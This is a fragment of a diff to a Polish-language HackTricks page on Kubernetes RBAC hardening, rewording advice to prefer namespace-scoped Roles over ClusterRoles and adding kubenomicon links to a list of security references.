ogólnoklastrowych** +### **Role specyficzne dla namespace zamiast ról ogólnych** -- **Role vs. ClusterRoles**: Preferuj używanie ról i RoleBindings dla uprawnień specyficznych dla przestrzeni nazw zamiast ClusterRoles i ClusterRoleBindings, które mają zastosowanie w całym klastrze. Takie podejście oferuje dokładniejszą kontrolę i ogranicza zakres uprawnień. +- **Role vs. ClusterRoles**: Preferuj używanie Ról i RoleBindings dla uprawnień specyficznych dla namespace zamiast ClusterRoles i ClusterRoleBindings, które mają zastosowanie w całym klastrze. Takie podejście oferuje dokładniejszą kontrolę i ogranicza zakres uprawnień. ### **Używaj narzędzi automatycznych** @@ -699,5 +718,7 @@ https://github.com/aquasecurity/kube-bench - [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions) - [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1) - [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers) +- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html) +- [**https://kubenomicon.com/**](https://kubenomicon.com/) {{#include ../../../banners/hacktricks-training.md}}